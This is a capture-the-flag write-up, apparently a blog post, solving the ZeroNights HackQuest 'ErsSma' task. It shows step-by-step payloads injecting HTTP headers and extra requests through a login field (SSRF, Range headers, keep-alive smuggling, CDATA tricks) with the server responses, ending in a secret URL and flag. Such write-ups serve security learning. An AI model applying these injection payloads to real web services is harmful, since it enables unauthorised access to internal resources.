ErsSma task was one the most interesting puzzles at ZeroNights HackQuest, here is detailed solution.
We have a form with a single input:
POST /missions/ErsSma/index.php HTTP/1.0
Content-Type: multipart/form-data; boundary=--------336730954
Content-Length: 99
----------336730954
Content-Disposition: form-data; name="login"
admin
----------336730954--
->
Password is incorrect!
What do we do here? Fuzz all the things!
login: <admin>
->
Array
(
[0] => LibXMLError Object
(
[level] => 3
[code] => 76
[column] => 46
[message] => Opening and ending tag mismatch: admin line 3 and error
[file] =>
[line] => 3
)
Now we see that our input has been sent to a remote server (as indicated by “<!– external host-based service –>” in the page source), got into XML-response and broke the syntax:
login: <![CDATA[
->
CData section not finished
is incorrect username!</erro
The first thing that you will try in this case is XXE, but it was a false way. The right attack approach was SSRF:
login: admin&password=123 ->
Password is incorrect
We can inject in URL.
login: admin HTTP/1.0
a:
->
Password is incorrect
And even in the request packet! OK, let’s try to spoof the response and make the app authorize us. Unluckily, we have an <error> starting tag, that prevents us from controlling the beginning of the XML-document, however using Range header we can ask web-server to return only a portion of data:
<auth>1</auth> HTTP/1.0
Range: bytes=7-21
a:
We don’t see an error but nothing interesting happened either. What if we try to inject a second keep-alive packet?
<![CDATA[ HTTP/1.0
Connection: keep-alive
GET / HTTP/1.0
Connection: keep-alive
a:
->
CData section not finished
is incorrect username!</error>HTTP/1.1 200 OK
Hey, it works! Now it is possible to make requests to arbitrary resources in remote subnet, but we cannot read the responses (unfinished CDATA allows to read only few bytes). In fact, it is possible if we find a way to finish the error tag and put all the response data between CDATA. The first thing I tried was TRACE request that prints back the request packet:
TRACE / HTTP/1.0
A: </error>
->
HTTP/1.1 200 OK
Date: Mon, 05 Nov 2012 15:33:23 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1
Connection: close
Content-Type: message/http
TRACE / HTTP/1.0
A: </error>
Really a nice way, but unfortunately the method was not allowed. However, there was another way: what we need is to make a request to the app from the remote side, exploiting the same SSRF. At this step a new problem arose: XML parser refused to return the result if there was extra content after <error>[OUR DATA]</error>. What is worse, Range header has no effect on POST requests in nginx. But what can we do? Just construct our XML-document starting with <html><body><error> instead of <error> so that it will be finished properly.
<html><body><error><![CDATA[ HTTP/1.0
Range: bytes=7-34
Connection: keep-alive
GET / HTTP/1.0
Connection: keep-alive
POST /missions/ErsSma/index.php HTTP/1.0
Range: bytes=10-40
Connection: keep-alive
Content-Length: 120
Content-Type: multipart/form-data; boundary=--------1100276574
----------1100276574
Content-Disposition: form-data; name="login"
]]><![CDATA[</error>]]>
->
HTTP/1.1 200 OK
Date: Sun, 04 Nov 2012 18:50:54 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze14
Content-Length: 31
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html
secret data here: /?s3cr3t=tru3HTTP/1.1 200 OK
Date: Sun, 04 Nov 2012 18:50:54 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze14
Connection: close
Content-Type: text/html
Yay! And finally, we make a request to /?s3cr3t=tru3:
HTTP/1.1 200 OK
Date: Sun, 04 Nov 2012 18:51:47 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze14
Content-Length: 38
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html
FLAG: fbc533ebad2f00ab31ffac40221d58c0HTTP/1.1 200 OK
Date: Sun, 04 Nov 2012 18:51:47 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze14
Connection: close
Content-Type: text/html
Cheers to d0znpp for great task!
Leave a Reply